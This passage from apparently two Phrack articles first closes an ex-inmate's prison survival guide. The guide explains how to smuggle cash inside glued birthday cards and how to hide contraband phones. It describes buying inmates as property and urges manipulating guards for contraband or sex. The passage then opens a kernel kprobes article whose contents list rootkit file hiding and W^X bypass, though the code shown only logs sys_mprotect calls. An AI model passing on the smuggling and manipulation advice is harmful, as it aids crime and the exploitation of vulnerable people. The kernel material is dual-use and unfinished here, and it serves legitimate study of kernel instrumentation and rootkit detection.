legal currency but also commissary / tobacco / stamp/other materials. These
|
|
are worth the same amount as they are when you buy them from the commissary
|
|
people and tobacco will be worth more if it is not sold by the commissary.
|
|
Now once you buy your materials you have either the choice to keep them or
|
|
use them to buy illegal goods that are rampant inside the prisons across
|
|
the world. There will always be someone who can be corrupted or extorted
|
|
into doing your bidding (bringing in certain items you could not get with
|
|
out an outside source, this is called contraband). Now you'll use your
|
|
legal goods to buy this contraband from the more experienced inmates, there
|
|
will be all kinds of contraband to choose from and they are not cheap. Here
|
|
is a nice list of a few things that may be available to you:
|
|
|
|
1. Most drugs, i.e. cocaine, heroine, methamphetamine, crack, also
|
|
including prescription pills obtained by the inmates who take the
|
|
medications. They do this by hiding the pills in their throat or they can
|
|
be brought in by a guard or through visitation.
|
|
|
|
2. Real currency. This will be obtained through the usual ways like the
|
|
guards, visitation, and using the mail. Either the guard didn't check the
|
|
mail right or it was hidden inside a card. People use birthday cards to
|
|
hide the money. The process is quite simple. Take a card that has a part
|
|
where you can write extra stuff on then put the money between that part and
|
|
the back part of the card. Super glue it in a neat and undetectable
|
|
fashion.
|
|
|
|
3. Tobacco. There are the normal channels but remember also that the inmate
|
|
you're buying this stuff from might have had this in their anal cavity to
|
|
hide it while being search. Lol that's why I never smoked unless I knew it
|
|
wasn't stuck up an ass before.
|
|
|
|
4. Cell phones. These will be brought in by the guards 99% of the time and
|
|
they will cost more than anything else you can buy. It has to be real
|
|
currency (guards don't want food because they can get it themselves). They
|
|
cost around 200 to 400 dollars and I've heard of people buying them for
|
|
$1,000. It will be pre-paid and you should get a zip charger (about the
|
|
size of a AA battery). Keep the phone on silent and only use it when you're
|
|
alone because if you are caught with a phone inside a prison you may be
|
|
charged with another crime and sentenced to more time. When you run out of
|
|
minutes you may have your family buy a refill card and activate it over the
|
|
Internet.
|
|
|
|
Note: Other inmates may ask to use your phone, charge them for this if you
|
|
allow it.
|
|
|
|
My advice would be to hide it from everyone and not tell anybody since they
|
|
may try to use this against you and force u into doing something against
|
|
your will. They'll threaten to tell on you or just do it to get back at you
|
|
for something.
|
|
|
|
Past events: The state of Texas has just recently cracked down on the
|
|
illegal cell phone trade inside their prisons. They are currently
|
|
installing cell phone jamming devices in all of there facilities, the
|
|
reason for this is because an inmate on death row called a government
|
|
official from his cell and threatened his family.
|
|
|
|
5. Tattoos/materials. You can also pay for getting some nice tattoos in
|
|
prison, they are of high quality and cheaper than in the free world (not
|
|
sure why though). You can just about get any type of tattoo you want as
|
|
long as you're willing to pay for it. You can also sell the tattoo guns /
|
|
ink if you know how to make it. The prices will be up to you and the basic
|
|
rules of the prison environment.
|
|
|
|
6. Artwork. If you know how to draw you can draw up some samples and show
|
|
them off and you will get some people who will want you to draw for them.
|
|
Whether this is a card for their family or a tattoo design they plan on
|
|
getting, the prices are up to you. The better the quality the higher the
|
|
price you can request.
|
|
|
|
7. Weapons/shanks. These are home made knives that people will use to
|
|
assault/kill others with. There are also tempered Styrofoam and news paper
|
|
bats/poles and spears made out of news paper. These really have no set cost
|
|
just thought I'd give them a mention.
|
|
|
|
8. Other inmates. Yes there maybe inmates for sell. These you can buy to do
|
|
your bidding or just simply to have someone under your control you can
|
|
basically do anything you want but my advise is to treat them nice and make
|
|
them think you're their friend or else they'll turn against you. Also be
|
|
prepared to protect this person. If they see you're not helping them they
|
|
are not going to help you. This may bring you more problems than what you
|
|
want. The prices will be set by the person you're buying from. If you are
|
|
caught buying/selling people you will be severely punished.
|
|
|
|
Note 1: These are all illegal products and most are punishable by law. You
|
|
can receive extra time if you are caught buying/selling these items.
|
|
|
|
Note 2: You should really commit to using your SE skills with these
|
|
activities to help you get more for less, just make sure not to get caught
|
|
cheating people.
|
|
|
|
|
|
--[ 5 - Interaction with other inmates
|
|
|
|
|
|
--[ 5.1 - Getting checked
|
|
|
|
|
|
Being 'checked' by someone is not a good thing at all. This means another
|
|
inmate is telling you that you've fucked up or letting you know that you're
|
|
doing something wrong. A good example of being checked would be:
|
|
|
|
You use the restroom and you forget to clean up after yourself. Another
|
|
inmate that has been waiting for you to Finnish comes in and sees this. Now
|
|
he can't use the restroom until your mess is cleaned up but he's not going
|
|
to clean it himself. What he will do is go and find you and tell you to 'go
|
|
and clean your fucking mess up'. Now if you do clean it after the other
|
|
inmate told you this in front of every one then you will be thought of as
|
|
someone who can be pushed around and if you don't clean it you will have to
|
|
fight this inmate.
|
|
|
|
This is looked at as a bad thing because the other inmates may see this as
|
|
you letting someone tell you what to do and then they'll try to do the
|
|
same. This type of people who let the other inmates tell them what to
|
|
do have the lowest rank in prison (right above snitches and sex offenders).
|
|
I hope that none of you are sex offenders but if you are then you will get
|
|
what you deserve when you get caught and this file will not help you in
|
|
any way. So you should simply avoid this type of confrontation.
|
|
|
|
|
|
--[ 5.2 - Just like momma used to make?
|
|
|
|
|
|
In this section we'll be talking about the food you will be eating while
|
|
you're locked up. This 'food' as they like to call it is not very good and
|
|
you most likely won't be getting a lot of it (if you're the average man
|
|
you're going to get to sleep hungry most nights). You'll start your day off
|
|
early in the morning (3:00am were I was at, this will mostly be true for
|
|
you also because there will be a lot of people in the prison and they'll
|
|
have to start early to get every thing done on time). Then there will be
|
|
lunch at about 9:00am to 11:00am and finally you'll have your last meal
|
|
somewhere around 5:00pm.
|
|
|
|
Now that you have the basic meal schedule it's time to tell you what you're
|
|
most likely going to be eating. The main thing I've seen would be the soy
|
|
bean patties (tofu I guess). This is not real meat nor will it taste as
|
|
such. The reasons they give you are:
|
|
|
|
1. It's cheap,
|
|
2. It's low in fat. They have to keep you healthy even though they'll
|
|
feed you the minimum amount of calories that a human needs to stay
|
|
alive),
|
|
3. It's high in protein.
|
|
|
|
If you are not given soy bean then you will be given either 'pork' or
|
|
turkey meat (this will mostly be the 'sausage' at breakfast or the patties
|
|
for the hamburgers). The breads will almost all the time be wheat (you may
|
|
like wheat bread but it gets really old after a while). Basically
|
|
everything will be low fat. I'll recommend that even if you don't like it
|
|
just eat it (mixing the food all together will help mask the taste).
|
|
|
|
Basically there may be things that you can't eat without throwing up. You
|
|
will get used to it the more you eat it but there will always be 'roaches'
|
|
(someone who looks for scraps/extra food that others did not eat...like a
|
|
cockroach). These people will see that you did not eat all your food and
|
|
ask you if they might have it. Depending on who they are and if you trust
|
|
them or not, it is up to you whether you give it to them or not. I would
|
|
suggest you not to if you don't know them or if you think they're trying
|
|
to manipulate you. Giving people stuff they want will not help you gain
|
|
acceptance. They will continue to manipulate you if you allow it.
|
|
|
|
|
|
--[ 5.3 - Getting punked/becoming a bitch
|
|
|
|
|
|
Getting 'punked' is when you allow other inmates to treat you any way they
|
|
want. This includes:
|
|
|
|
1. Letting them assault you
|
|
2. Letting them take your food/personal belongings
|
|
3. Letting them verbally abuse you
|
|
4. and sexual abuse
|
|
|
|
Becoming a 'bitch' means that you belong to another inmate. You'll be
|
|
treated like a punk and/or be raped though they may protect you in return
|
|
(they can't let other inmate fuck with their property now can they?). Don't
|
|
let this happen, if you think this may happen to you then stop reading the
|
|
file, you'll be a disgrace to all the hackers and phreakers of the world.
|
|
|
|
Note 1: an inmate may offer you protection from the other inmates. What
|
|
they will not tell you is that you will be their bitch, and will do what
|
|
they say or accept the beating you will get. Also if one day you no longer
|
|
want the protection of the inmate then he and his friends will target you.
|
|
You will still get beaten, so don't accept any 'protection'.
|
|
|
|
Note 2: You may notice that I degrade a few types of people in this file
|
|
such as sex offenders and 'bitches'. When I use this word I mean the people
|
|
who can defend themselves but simply will not. There are people who will
|
|
not fight for themselves but if someone tells them to fight another person
|
|
then they will. This is pathetic and inexcusable, do not be like this.
|
|
|
|
|
|
--[ 6 - Prison gangs
|
|
|
|
|
|
--[ 6.1 - Overview
|
|
|
|
|
|
I will now try to explain the basic concepts of the main types of prison
|
|
gangs. Please remember this will not always be true for all gangs or for
|
|
prisons in other countries besides the USA. Some information may not be
|
|
accurate therefore I will not use any names.
|
|
|
|
When you go in prison you may notice that groups of people with the same
|
|
types of tattoos happen to congregate in groups (most of the time in the
|
|
same areas). You may also notice that they will show favoritism to the
|
|
group they associate with, this is most likely because they are in a
|
|
'gang'. A gang is a group of 3 or more people that are involved in
|
|
organized crime and believe in the same values/beliefs and share the same
|
|
goals. For this reason these prisons have established what most call a
|
|
'gang task force'. People assigned to the task force are responsible for
|
|
finding out the illegal activities of these inmates....
|
|
|
|
Most of the gangs are based on race (White/European,
|
|
Mexican/Latino/Hispanic, Black/African). Their common goals are to:
|
|
|
|
1. Protect each other. Have your fellow members backs don't let any one
|
|
walk over them or punk them. Most likely though there won't be any
|
|
punks in a gang (and if there are they will be ejected from the gang
|
|
or disaplin).
|
|
|
|
2. Establish and keep the respect of their people. Once again don't
|
|
allow people to push you around, if this is allowed then it will be
|
|
bad for their business/dealings.
|
|
|
|
3. Make money. This has been explained to you already but what was not
|
|
explained earlier was that most of the people you will buy your
|
|
contraband from (drugs mainly) will be from one of these gangs. Gangs
|
|
often got war over business related dealings. Most people assume it's
|
|
inspired by racial issues but about 90% of the time its over the drug
|
|
trade/territory.
|
|
|
|
|
|
--[ 6.2 - Should I join a gang, and if so which one should I join ?
|
|
|
|
|
|
My advise to you would be that you should not join a gang if you want to
|
|
get out and go home on time. When you join a gang you are expected to put
|
|
the gang and its members first. It doesn't matter if you think its the
|
|
right thing to do. If they ask you to do something then you must do it or
|
|
accept the punishment they will give you. If another member is with you and
|
|
instigating problems with other people and he gets attacked, it will be
|
|
your job to help him. This means you could end up getting hurt or getting
|
|
more time on your sentence (think about this for a minute you have 4 days
|
|
until you're allowed to go home and then something happens where you have
|
|
to help your gang... You end up getting more time and can't go home. How
|
|
would your family feel, how would you feel ?).
|
|
|
|
Now if you are persistent about joining one, here are the main rules about
|
|
this:
|
|
|
|
1. You should join a gang based on the same race/ethnic group as you
|
|
are.
|
|
2. Make sure you understand and are willing to follow any and all rules
|
|
given to you.
|
|
3. Do not try to manipulate your fellow members or cheat the gang out of
|
|
any money.
|
|
4. Only do approved business with other gangs/people.
|
|
5. Do not talk about your gang affiliation with any one (family/guards).
|
|
6. Make sure you are willing to be in the gang for the rest of your
|
|
life, your affiliation does not stop when you are released (if
|
|
released), you will be responsible for contacting your local ranking
|
|
members of the gang when you get out.
|
|
7. Most importantly do not join a gang if you have anyone you love or
|
|
care for. The simple reason for me saying this is that you may not
|
|
get out if you join a gang... You must follow any and all orders
|
|
including if they want you to kill someone (people have been ordered
|
|
to kill their own family members).
|
|
|
|
Note: Failure to do these things may cost you your life. You will also have
|
|
more rules to follow than expected when you join. These rule aren't known
|
|
to people outside the gang therefore I've only listed the most common.
|
|
|
|
|
|
--[ 7 - County Jail Vs. State Prison
|
|
|
|
|
|
What? there is a difference you say? Yes, there a few of them in fact.
|
|
Let's go over them.
|
|
|
|
-------------------
|
|
|
|
County cons
|
|
|
|
1. You most likely won't move out of your cell.
|
|
2. Time is harder and feels like it goes by a lot slower.
|
|
3. Depending on how big it is, there's not as much food.
|
|
4. It might be a lot more dirty and could smell like shit and piss.
|
|
5. You will be in there with mentally ill people.
|
|
6. Commissary costs more.
|
|
|
|
County pros
|
|
|
|
1. You may get to see females and depending on the jail write them
|
|
(they'll be locked up too).
|
|
2. You may get to have your own shower.
|
|
3. You may not have to get up if you don't want to.
|
|
4. You may not have a lights out time.
|
|
5. Not every thing is gang related like prison and you can basically
|
|
chill with who ever you want (as far as race goes rivalries still
|
|
hold up).
|
|
|
|
-------------------
|
|
|
|
Prisons cons
|
|
|
|
1. A lot of new rules you must learn and you might be expected to learn
|
|
without any help.
|
|
2. The daily schedule will be a lot different than in county.
|
|
3. Gang wars.
|
|
4. Lock downs (no movement at all until told otherwise this can go on
|
|
for months).
|
|
5. Work (you will have to work and you may not get paid for it... You
|
|
could work in the fields too and that sucks).
|
|
6. Can't wright other people who are also locked up (this means the girl
|
|
you wrote in county wont be getting your letter).
|
|
7. Mass butt naked searches.
|
|
8. Take showers in front of every one.
|
|
|
|
Prisons pros
|
|
|
|
1. Time goes by a lot faster in county jail
|
|
2. Easy to make money.
|
|
3. Tattooing is more available.
|
|
4. Cheaper commissary.
|
|
5. Easier access to tobacco/drugs.
|
|
6. A lot more respect than what there is in jail.
|
|
|
|
|
|
-------------------
|
|
|
|
|
|
--[ 8 - Common situations
|
|
|
|
|
|
Here we will talk about a few common (negative) situations presented to the
|
|
newer people of the prison world. In this section I'm going to tell you the
|
|
best ways to get out of them and I'll try to explain them in a way you can
|
|
understand. Not all situations are listed in this section because no one
|
|
can list them all but you can use what is here to help you 'free style' the
|
|
situation if one arises. Like I've said before you can use social
|
|
engineering skills to help you get what you want or get out of almost
|
|
anything that you can get yourself into. So lets get to it...
|
|
|
|
1. It's your first day on the unit (prison), people will be looking to see
|
|
if they can make you there punk/bitch (remember that we've talked about
|
|
this before). The most common way they will try this is using intimidation.
|
|
Most of the time a group of inmates will approach you and ask you seemingly
|
|
harmless questions but they're not. These questions can be used against
|
|
you in some type of way (these people are not trying to be friendly, it may
|
|
seem this way but it's not). Few subjects you should not release any
|
|
information about would be:
|
|
|
|
- Your family/personal life. Do not give your address or anything such as
|
|
this out. The reason for this is to make it harder for them to know the
|
|
people you may know.
|
|
|
|
- Never lie about things you're not sure of. Just simply state that it's
|
|
your business and keep it as such. Also do not lie to try and gain
|
|
acceptance because it will not work. Keep your stories to yourself and
|
|
only tell them to trusted people.
|
|
|
|
2. You walk into the 'dayroom' (the place where everyone gathers to play
|
|
games/watch tv/converse) and you see the people who entered your cell
|
|
earlier playing a game of cards. You see that they are having a good amount
|
|
of fun and you need something to help take your mind off of your situation
|
|
or you just simply want to go over and make a few new friends. Well I'd
|
|
recommend that you stay to yourself for a while longer and let the other
|
|
inmates invite you to the game if they choose to do so. Still be cautious
|
|
if they do as they might try to manipulate you for some reason.
|
|
|
|
Note: I'd also recommend that you do not just go up to people asking them
|
|
questions or telling them your adventures from the free world. Being a
|
|
friendly person is not looked at as a good thing while in prison.
|
|
|
|
The reason you should not just walk up to people and talk to them is
|
|
because some of them are mentally ill and may attack you if you attempt
|
|
this. They will also try to make you think they are your friend and use you
|
|
for their amusement or personal gain. You should also never give out
|
|
personal information to people you don't know because they may use that to
|
|
help find victims when they are released.
|
|
|
|
Note: If you want to make friends then my advice is to not lie to people
|
|
show them you're trustworthy. If you're not a drug dealer then don't say
|
|
you are. If you've never shot a gun don't say you have. And also don't
|
|
overload them with technical talk, and don't get all excited to be talking
|
|
to someone. They are not that cool plus it's annoying.
|
|
|
|
3. Someone disrespects you, either verbally or physically (pushing you or
|
|
bumping into you). When this happens your safest bet would be to fight and
|
|
not let this go on for very long because you will be seen as a bitch. Now
|
|
if you are challenged to a fight then you should accept it and fight as
|
|
good as you can. It won't really matter if you win or lose. If the inmates
|
|
see you will fight then they will respect you.
|
|
|
|
Note: If a guard tells you to stop or hit the floor then you should do so
|
|
to avoid being pepper sprayed or tazed. Some prisons are allowed to use
|
|
deadly force.
|
|
|
|
4. Your friends or some other people ask you to join a gang. This is up to
|
|
you. For help refer back to the gang section of the article.
|
|
|
|
5. You see something happening that you don't like, then your best response
|
|
would be no response. If you get into someone else's business then it will
|
|
only cause problems on yourself and you do not need any problems that can
|
|
be avoided. If you choose to take action then that will be on you, I have
|
|
warned you of doing so.
|
|
|
|
Note: This could result in retaliation from other inmates as well.
|
|
|
|
6. You're about to get out and you no longer want to be in the gang you
|
|
joined when you first got locked up. Well there's a problem with this
|
|
because one you were told it was for life and two they will most likely put
|
|
a contract on you (hire someone to kill you). To avoid being killed inside
|
|
the prison walls you can use a technique. In prison they have a program
|
|
called 'PC' (protective custody) this is for people with mental/physical
|
|
illnesses and for the weaker prisoners. You will use this to your
|
|
advantage, here is a good way to put yourself on PC:
|
|
|
|
Contact a ranking guard and let him know your situation. You will want to
|
|
do this with a guard you trust so that he will not tell everyone of what
|
|
you are planning to do. Sooner or later you will be taken to a one man cell
|
|
and you will be asked questions by the gang task force. You will be asked
|
|
to give any and all information about the gang and if you don't help them
|
|
then they will not help you.
|
|
|
|
Note 1: In my opinion if you use this part of the file you do not deserve
|
|
to call yourself a man.
|
|
|
|
Note 2: These are the most common situations you may go through in prison
|
|
but these are not definite. You may need to customize these techniques or
|
|
apply them to different situations...
|
|
|
|
|
|
-[ 9 - Staying mentally Fit
|
|
|
|
|
|
In this part of the text we will be talking about the various techniques to
|
|
help you stay mentally fit. Basically what I'm talking about is how not to
|
|
go crazy. Some people have the tendencies to over obsess about the outside
|
|
world, or to think too much about their friends and family. This will cause
|
|
you to stress yourself out and become depressed. This leads to suicide in
|
|
some people and this is what we want to avoid. So here are a few techniques
|
|
or suggestions that I'll give you to help keep you on top of things.
|
|
|
|
1. Some people put all their faith in getting letters and phone calls from
|
|
their family/friends. This is not really a good thing. When you get a
|
|
letter I would recommend reading it once and then replying to the letter as
|
|
soon as possible. Doing this will help you keep your mind off the free
|
|
world. If you continually keep negative things on your mind/think about
|
|
negative things then your attitude will almost always be negative. This is
|
|
what we want to avoid inside the prison walls. The more negative you are or
|
|
negativity that your around will likely cause you to do negative things.
|
|
This will most likely cause you to stay inside prison longer then you have
|
|
to.
|
|
|
|
2. Visitation is most likely going to be the hardest part to get out of
|
|
your mind. The reason for this is because you actually get to be with the
|
|
people you love. Now depending on where you are at, you may have be
|
|
separated by a wall with glass and will talk to them on a pay-phone type
|
|
set-up.
|
|
|
|
Note: Beware that most prisons record these types of conversations. You may
|
|
not get a prompt letting you know this but regardless be careful on what
|
|
you say. A few tips on how to have a good visit from the family/friends:
|
|
|
|
- Stay on a positive topic. You don't need to fight or argue with someone
|
|
who takes the time to come and see you, and later on you'll most likely
|
|
feel bad for doing this. This is what we don't want.
|
|
|
|
- Do not attempt to get your visitor to smuggle contraband. This can cause
|
|
problems between you and the visitor, or you may end up getting them put in
|
|
prison if they do wish to bring the contraband.
|
|
|
|
- Take one visitation at a time. In other words do not go back to your cell
|
|
and ponder upon the visit. Doing so will cause you more stress and problems
|
|
than you should have to deal with.
|
|
|
|
3. You will be allowed to have pictures of your loved ones. This can be a
|
|
good thing. Everyone wants to have pictures, but you should not keep them
|
|
out because this causes you to pay more attention to the pictures instead
|
|
of the things you really should be doing. You're just making your time
|
|
harder then it should be by thinking about things that make you depressed.
|
|
|
|
Note: Also keeping your personal stuff out can end up getting it stolen by
|
|
the other inmates. Stealing is frowned upon but is every common inside
|
|
prisons.
|
|
|
|
4. When the guards tell you 'lights out' or bed time then this is what you
|
|
should do. Do not stay up at night and ponder upon your misfortunes or your
|
|
family. The reason is this causes you to lose sleep and will make your
|
|
daily schedule very hard to work with. You may be expected to work while
|
|
you're locked up and if you're not fully functional then you will cause the
|
|
others to get angry and lash out against you.
|
|
|
|
5. Try to have as much fun as you can. This is hard but you have to try.
|
|
Once you get comfortable and in transition to this new way of life then it
|
|
will become easier. The main thing you should do to have fun is play games
|
|
such as cards, dominoes. They may have a few board games also (I liked to
|
|
play a good game of chess myself). Also when you're at the rec. yard (a
|
|
place outside where you are allowed to Rome inside a certain area) play
|
|
some sports like basket ball or football. There will be sports and people
|
|
willing to play, this can also help you meet new people who can help
|
|
distract you from your daily problems.
|
|
|
|
6. Like I mentioned earlier you can workout to keep you in shape and keep
|
|
your mind off your problems. Find you a good workout routine and stick with
|
|
it. Working out is proved to higher your self-esteem and help with
|
|
depression. You don't always have to wait until you go outside to workout,
|
|
you can do this inside your cell whenever you find yourself thinking about
|
|
negative things.
|
|
|
|
7. Establishing a relationship with a guard (depending on the sex the
|
|
reader is) can also help you pass the time. If you have someone that is
|
|
willing to help you in your time of need then this will bring your stress
|
|
level to a lower term if not take it away completely.
|
|
|
|
Note: Establishing a relationship with a guard is not easy. They look at
|
|
you like a criminal so your goal is to either manipulate them into
|
|
believing that you're not or just simply show them the real you {nice,
|
|
kindly person lol}. Like I've said this is a hard task but this in itself
|
|
can keep your mind off the bullshit. Think of new ways to get through the
|
|
guards personal defenses (you're hackers you should be good at this), and
|
|
when you finally overcome them then you have all kinds of fun things to do
|
|
depending on what your intentions are (contraband staff, or true
|
|
relationship. Yes you may be able to fuck them).
|
|
|
|
|
|
-[ 10 - Why I Wrote This
|
|
|
|
|
|
I wrote this article based on the assumption that many people would
|
|
basically enjoy it, but also that it may help some people if they happen
|
|
to go to prison. I was sentenced to 20 years for aggravated assault with a
|
|
deadly weapon. It was my first time ever being locked up but I was one of
|
|
the ones who took it as a challenge. While inside I've seen other first
|
|
timers being treated in a way that no person should ever be treated.
|
|
|
|
I made it inside the prison walls and now I am sharing with you ways for
|
|
you to make it also, use this to your advantage this is for entertainment
|
|
but also education.
|
|
|
|
|
|
-TAp
|
|
|
|
|
|
PS: If you have any questions you would like for me to answer then please
|
|
feel free to contact me.
|
|
|
|
----EOF----
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x06 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------------=[ Kernel instrumentation using kprobes ]=---------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------------------------=[ by ElfMaster ]=---------------------------=|
|
|
|=----------------------=[ elfmaster@phrack.org ]=-----------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
1 - Introduction
|
|
1.1 - Why write it?
|
|
1.2 - About kprobes
|
|
1.3 - Jprobe example
|
|
1.4 - Kretprobe example & Return probe patching technique
|
|
|
|
2 - Kprobes implementation
|
|
2.1 - Kprobe implementation
|
|
2.2 - Jprobe implementation
|
|
2.3 - File hiding with jprobes/kretprobes and modifying kernel .text
|
|
2.4 - Kretprobe implementation
|
|
2.5 - A quick stop into modifying read-only kernel segments
|
|
2.6 - An idea for a kretprobe implementation for hackers
|
|
|
|
3 - Patch to unpatch W^X (mprotect/mmap restrictions)
|
|
|
|
4 - Notes on rootkit detection for kprobes
|
|
|
|
5 - Summing it all up.
|
|
|
|
6 - Greetz
|
|
|
|
7 - References and citations
|
|
|
|
8 - Code
|
|
|
|
|
|
|
|
---[ 1 - Introduction
|
|
|
|
----[ 1.1 - Why write it?
|
|
|
|
I will preface this by saying that kprobes can be used for anti-security
|
|
patching of the kernel. I would also like to point out that kprobes are not
|
|
the most efficient way to patch the kernel or write rootkits and backdoors
|
|
because they simply require more work -- extra innovation.
|
|
So why write this? Because... we are hackers. Hackers should be aware of
|
|
any and all resources available to them -- some more auspicious than
|
|
others -- Nonetheless, kprobes are a sweet deal when you consider that they
|
|
are a native kernel API that are ripe for abuse, even without exceeding
|
|
their scope. Due to limitations discussed later on, kprobes require some
|
|
extra innovation when determining how to perform certain tasks such as file
|
|
hiding and applying other interesting patches that could subvert or even
|
|
harden the kernels integrity.
|
|
|
|
|
|
----[ 1.2 - About kprobes
|
|
|
|
It is with no doubt that the best introduction to kprobes is in the Linux
|
|
kernel source documentation that contains kprobes.txt. Make sure to read
|
|
that when you get a chance. Kprobes are a debugging API native to the Linux
|
|
kernel that is based on the processors debug registers -- whatever the
|
|
processor may be. We are going to assume x86, which at this time has the
|
|
most kprobe code developed.
|
|
|
|
--From kprobes.txt --
|
|
|
|
Kprobes enables you to dynamically break into any kernel routine and
|
|
collect debugging and performance information non-disruptively. You
|
|
can trap at almost any kernel code address, specifying a handler
|
|
routine to be invoked when the breakpoint is hit.
|
|
|
|
There are currently three types of probes: kprobes, jprobes, and
|
|
kretprobes (also called return probes). A kprobe can be inserted
|
|
on virtually any instruction in the kernel. A jprobe is inserted at
|
|
the entry to a kernel function, and provides convenient access to the
|
|
function's arguments. A return probe fires when a specified function
|
|
returns.
|
|
|
|
--
|
|
|
|
Based on this definition one can imagine that this kprobes interface may be
|
|
used to instrument the kernel in some useful ways, both for security and
|
|
anti-security; That is what this paper is about. In the recent past I
|
|
implemented some relatively powerful and complex security patches
|
|
using kprobes. That is not to say that other patching methods are
|
|
not still useful, but occasionally one may run into issues using traditional
|
|
methods such as kernel function trampolines which are not SMP safe due
|
|
to the non-atomic nature of swapping code in and out. kprobes are a native
|
|
interface which is nice, but they still present some challenges due to
|
|
limitations we discuss throughout the paper. Kprobes can be used to patch
|
|
the kernel in some places, but cannot be used for everything. This a treatise
|
|
that can shed some light on when and where kprobes can be used to modify
|
|
the behavior of the kernel. Sometimes they must be used in conjunction with
|
|
another patching method. Before we move on I wanted to point out the following
|
|
few facts:
|
|
|
|
kprobes show up as being registered here:
|
|
|
|
/sys/kernel/debug/kprobes/list
|
|
|
|
And can be enabled or disabled by writing a 0 or a 1 here:
|
|
|
|
/sys/kernel/debug/kprobes/enabled
|
|
|
|
The kprobe source code is located in the following locations:
|
|
/usr/src/linux/kernel/kprobes.c
|
|
/usr/src/linux/arch/x86/kernel/kprobes.c
|
|
|
|
Keep in mind that jprobes/kretprobes are 100% based on kprobes and
|
|
disabling kprobes like shown above will prevent any kretprobe/jprobe
|
|
code from working as well.
|
|
|
|
Moving on...
|
|
|
|
|
|
----[ 1.3 - Jprobe example
|
|
|
|
In this paper we will be working primarily with jprobes and kretprobes.
|
|
As shown in the kprobe documentation already, there are several functions
|
|
available for registering and unregistering these probes.
|
|
|
|
Lets pretend for a moment that we are interested in sys_mprotect, and we want
|
|
to inspect any calls to it, and the args that are being passed. For this
|
|
we could register a jprobe for sys_mprotect. The following code outlines the
|
|
general idea here. And consider that because we are setting a jprobe on
|
|
a syscall, we need to either declare our jprobe handler using 'asmlinkage'
|
|
magic, otherwise we must get our args directly from the registers. In our
|
|
example I will get the args directly from the registers just to show how
|
|
to obtain the registers for the current task.
|
|
|
|
-- jprobe example 1 --
|
|
|
|
|
|
NOTE: The jprobe data types will be explained in detail in 2.2 [Jprobe
|
|
implementation]
|
|
|
|
int n_sys_mprotect(unsigned long start, size_t len, long prot)
|
|
{
|
|
struct pt_regs *regs = task_pt_regs(current);
|
|
|
|
start = regs->bx;
|
|
len = regs->cx;
|
|
prot = regs->dx;
|
|
|
|
printk("start: 0x%lx len: %u prot: 0x%lx\n", start, len, prot);
|
|
jprobe_return();
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
The following entry in struct jprobe is 'void *entry'
|
|
and simply points to the jprobe function handler that will
|
|
be executing when the probe is hit on the function entry
|
|
point.
|
|
*/
|
|
|
|
static struct jprobe mprotect_jprobe =
|
|
{
|
|
.entry = (kprobe_opcode_t *)n_sys_mprotect // function entry
|
|
};
|
|
|
|
static int __init jprobe_init(void)
|
|
{
|
|
/* kp.addr is kprobe_opcode_t *addr; from struct kprobe and */
|
|
/* points to the probe point where the trap will occur. In */
|
|
/* our case we are probing sys_mprotect */
|
|
mprotect_jprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect");
|
|
|
|
if ((ret = register_jprobe(&mprotect_jprobe)) < 0)
|
|
{
|
|
printk("register_jprobe failed for sys_mprotect\n");
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int init_module(void)
|
|
{
|
|
jprobe_init();
|
|
return 0;
|
|
}
|
|
|
|
void exit_module(void)
|
|
{
|
|
unregister_jprobe(&mprotect_jprobe);
|
|
}
|
|
|
|
|
|
In the above code, we register a jprobe for sys_mprotect. This means that
|
|
a breakpoint instruction is placed on the entry point of the function,
|
|
and as soon as it gets called a trap occurs and control is passed to our
|
|
n_sys_mprotect() jprobe handler. From this point we can analyze data such
|
|
as the arguments passed either in registers or on the stack, as well as any
|
|
kernel data structures. We can also modify kernel data structures, which
|
|
is primarily what we rely on for our patches using kprobes. Any attempts
|
|
to modify the stack arguments or registers will be overriden as soon as
|
|
our handler function returns -- this is because kprobes saves the register
|
|
state and stack args prior to calling the handler, and restores these values
|
|
upon the jprobe_return(), at which point the real syscall or function will
|
|
execute and do its thing. We will get into much more detail on this topic
|
|
and how to actually modify stack arguments later on.
|
|
|
|
|
|
----[ 1.4 - Kretprobe example and return probe patching technique
|
|
|
|
Moving on to kretprobes (Also known as return probes). Without kretprobes it
|
|
wouldn't be as easily possible to patch the kernel using kprobes, this is
|
|
because a kernel function that we set a jprobe on might re-modify a
|
|
kernel data structure that we modify, as soon as our jprobe handler returns.
|
|
If we apply a kretprobe into the situation we can modify that kernel data
|
|
structure after the real kernel function returns. Here is an example...
|
|
Lets say we want to modify the kernel data structure 'kstruct->x' (which is
|
|
ficticious). We want to modify it, but do not know what value we want to
|
|
apply to it until 'function_A' executes, but as soon as the real 'function_A'
|
|
executes after our jprobe handler, it sets the value 'kstruct->x' to something.
|
|
This is where kretprobes come into play. This is the approach we take, which
|
|
we can call the 'return probe patching' technique.
|
|
|
|
1. [jprobe handler for function_A] -> Determines the value that we want to set on kstruct->x
|
|
2. [function_A] -> Sets the value of kstruct->x to some value.
|
|
3. [kretprobe handler for function_A] -> Sets the value of kstruct->x to value determined by jprobe handler.
|
|
|
|
So as you can see, with kretprobes we end up being able to set the final
|
|
verdict on a value.
|
|
|
|
Here is a quick example of registering a kretprobe. We will use sys_mprotect
|
|
for this example as well.
|
|
|
|
The kretprobe data types will be explained in the section 2.4 [kretprobes
|
|
implementation].
|
|
|
|
static int mprotect_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
|
|
{
|
|
printk("Original return address: 0x%lx\n", (unsigned long)ri->ret_addr);
|
|
return 0;
|
|
|
|
|
|
}
|
|
static struct kretprobe mprotect_kretprobe =
|
|
{
|
|
.handler = mprotect_ret_handler, // return probe handler
|
|
.maxactive = NR_CPUS // max number of kretprobe instances
|
|
};
|
|
|
|
|
|
int init_module(void)
|
|
{
|
|
mprotect_kretprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect");
|
|
register_kretprobe(&mprotect_kretprobe);
|
|
|
|
}
|
|
|
|
As you can see I utilize kallsyms_lookup_name(), but interestingly a probe
|
|
can be set on virtually any instruction within the kernel, whatever means
|
|
